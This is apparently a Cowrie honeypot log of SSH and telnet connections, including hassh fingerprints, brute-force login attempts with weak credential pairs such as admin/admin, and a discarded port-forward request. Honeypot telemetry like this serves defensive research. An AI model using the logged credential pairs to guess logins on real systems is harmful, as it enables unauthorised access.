{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:14.716640Z","src_ip":"103.149.252.223","session":"401c3195af44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59612,"dst_ip":"159.203.135.109","dst_port":23,"session":"17dabf294e13","protocol":"telnet","message":"New connection: 147.124.211.111:59612 (159.203.135.109:23) [session: 17dabf294e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:14.984756Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d29ef6576e2","protocol":"ssh","message":"New connection: 186.4.240.226:57148 (10.17.0.5:22) [session: 7d29ef6576e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.389487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.393909Z","src_ip":"186.4.240.226","session":"7d29ef6576e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.575698Z","src_ip":"186.4.240.226","session":"7d29ef6576e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38080,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a455fd25a49","protocol":"ssh","message":"New connection: 87.251.64.176:38080 (10.17.0.5:22) [session: 0a455fd25a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.585146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.589686Z","src_ip":"87.251.64.176","session":"0a455fd25a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.686982Z","src_ip":"87.251.64.176","session":"0a455fd25a49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.976913Z","src_ip":"87.251.64.176","session":"0a455fd25a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"P@ssw0rd","message":"login attempt [test01/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:15.984712Z","src_ip":"186.4.240.226","session":"7d29ef6576e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:16.076011Z","session":"0a455fd25a49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:16.173674Z","src_ip":"87.251.64.176","session":"0a455fd25a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:16.272477Z","src_ip":"87.251.64.176","session":"0a455fd25a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59624,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c6fc2c79b81","protocol":"telnet","message":"New connection: 147.124.211.111:59624 (159.203.135.109:23) [session: 7c6fc2c79b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:16.927939Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:17.074830Z","src_ip":"186.4.240.226","session":"7d29ef6576e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.406803131103516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:17.292590Z","src_ip":"147.124.211.111","session":"25f47a1f569a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969663381576538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:17.668426Z","src_ip":"147.124.211.111","session":"fb14a7f6da82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59628,"dst_ip":"159.203.135.109","dst_port":23,"session":"c813b67eccec","protocol":"telnet","message":"New connection: 147.124.211.111:59628 (159.203.135.109:23) [session: c813b67eccec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:18.536084Z"}
{"eventid":"cowrie.session.closed","duration":30.926314115524292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:18.734957Z","src_ip":"147.124.211.111","session":"7e5b8c1c20f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200359344482422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:19.483782Z","src_ip":"147.124.211.111","session":"73ae9c1f1935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":59640,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f4e5ac6f8a6","protocol":"telnet","message":"New connection: 147.124.211.111:59640 (159.203.135.109:23) [session: 8f4e5ac6f8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:19.789754Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41522,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b223eece3a6","protocol":"telnet","message":"New connection: 147.124.211.111:41522 (159.203.135.109:23) [session: 1b223eece3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:20.486336Z"}
{"eventid":"cowrie.session.closed","duration":30.951426029205322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:20.556707Z","src_ip":"147.124.211.111","session":"14e8e67959e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41542,"dst_ip":"159.203.135.109","dst_port":23,"session":"4068c6a87f20","protocol":"telnet","message":"New connection: 147.124.211.111:41542 (159.203.135.109:23) [session: 4068c6a87f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:21.837249Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41536,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bcdd4dfcde6","protocol":"telnet","message":"New connection: 147.124.211.111:41536 (159.203.135.109:23) [session: 5bcdd4dfcde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:22.020301Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41556,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e89ac64d88","protocol":"telnet","message":"New connection: 147.124.211.111:41556 (159.203.135.109:23) [session: c8e89ac64d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:22.220664Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41562,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc3f566b99e","protocol":"telnet","message":"New connection: 147.124.211.111:41562 (159.203.135.109:23) [session: 5cc3f566b99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:22.385808Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2558a4760e0","protocol":"telnet","message":"New connection: 147.124.211.111:41554 (159.203.135.109:23) [session: d2558a4760e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:22.979678Z"}
{"eventid":"cowrie.session.closed","duration":30.338914394378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:23.111057Z","src_ip":"147.124.211.111","session":"ac95d3b8bdc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2d6b25e342","protocol":"telnet","message":"New connection: 147.124.211.111:41574 (159.203.135.109:23) [session: db2d6b25e342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:23.441231Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41588,"dst_ip":"159.203.135.109","dst_port":23,"session":"75854a12aad6","protocol":"telnet","message":"New connection: 147.124.211.111:41588 (159.203.135.109:23) [session: 75854a12aad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:24.048423Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41580,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc30779c989","protocol":"telnet","message":"New connection: 147.124.211.111:41580 (159.203.135.109:23) [session: bdc30779c989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:24.196064Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":48010,"dst_ip":"10.17.0.5","dst_port":22,"session":"caa5c9e14f66","protocol":"ssh","message":"New connection: 41.86.34.139:48010 (10.17.0.5:22) [session: caa5c9e14f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:24.857400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:24.862361Z","src_ip":"41.86.34.139","session":"caa5c9e14f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:25.070832Z","src_ip":"41.86.34.139","session":"caa5c9e14f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456a@","message":"login attempt [user/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:25.933043Z","src_ip":"41.86.34.139","session":"caa5c9e14f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:27.143399Z","src_ip":"41.86.34.139","session":"caa5c9e14f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88598108291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:27.614287Z","src_ip":"147.124.211.111","session":"8a6944abf49b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17997407913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:28.144912Z","src_ip":"147.124.211.111","session":"3fd47baae1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780176639556885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:31.230323Z","src_ip":"147.124.211.111","session":"42f9e7209c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74647879600525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:31.309128Z","src_ip":"147.124.211.111","session":"03af0c103c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41670,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc218de6682a","protocol":"telnet","message":"New connection: 147.124.211.111:41670 (159.203.135.109:23) [session: fc218de6682a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:31.620651Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41674,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c637af1514","protocol":"telnet","message":"New connection: 147.124.211.111:41674 (159.203.135.109:23) [session: a3c637af1514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:31.841196Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41596,"dst_ip":"159.203.135.109","dst_port":23,"session":"439b3b13b50d","protocol":"telnet","message":"New connection: 147.124.211.111:41596 (159.203.135.109:23) [session: 439b3b13b50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:32.145648Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41686,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf64b53388c","protocol":"telnet","message":"New connection: 147.124.211.111:41686 (159.203.135.109:23) [session: 0bf64b53388c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:32.310242Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41688,"dst_ip":"159.203.135.109","dst_port":23,"session":"233e28f4e6cd","protocol":"telnet","message":"New connection: 147.124.211.111:41688 (159.203.135.109:23) [session: 233e28f4e6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:32.568980Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41704,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e99f90c1a4","protocol":"telnet","message":"New connection: 147.124.211.111:41704 (159.203.135.109:23) [session: 91e99f90c1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:32.633137Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41710,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b05b7bcd9c","protocol":"telnet","message":"New connection: 147.124.211.111:41710 (159.203.135.109:23) [session: 13b05b7bcd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:32.828590Z"}
{"eventid":"cowrie.session.closed","duration":30.801082134246826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:33.326637Z","src_ip":"147.124.211.111","session":"e379ea5d87d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143183946609497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:33.890541Z","src_ip":"147.124.211.111","session":"a16362c3c72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023863792419434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:35.197419Z","src_ip":"147.124.211.111","session":"7f9e27535211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41720,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8a22d801c24","protocol":"telnet","message":"New connection: 147.124.211.111:41720 (159.203.135.109:23) [session: a8a22d801c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:35.207524Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":51425,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c1c00b829e","protocol":"ssh","message":"New connection: 103.86.180.10:51425 (159.203.135.109:22) [session: 59c1c00b829e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:36.027169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:36.030714Z","src_ip":"103.86.180.10","session":"59c1c00b829e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:36.225142Z","src_ip":"103.86.180.10","session":"59c1c00b829e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@55w0rd!","message":"login attempt [ubuntu/P@55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:37.036994Z","src_ip":"103.86.180.10","session":"59c1c00b829e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85396385192871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:37.041196Z","src_ip":"147.124.211.111","session":"300543ee3556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41730,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac9219e3618","protocol":"telnet","message":"New connection: 147.124.211.111:41730 (159.203.135.109:23) [session: 2ac9219e3618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:37.341516Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":39440,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fff13fcba47","protocol":"ssh","message":"New connection: 72.253.251.7:39440 (159.203.135.109:22) [session: 3fff13fcba47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:37.906894Z"}
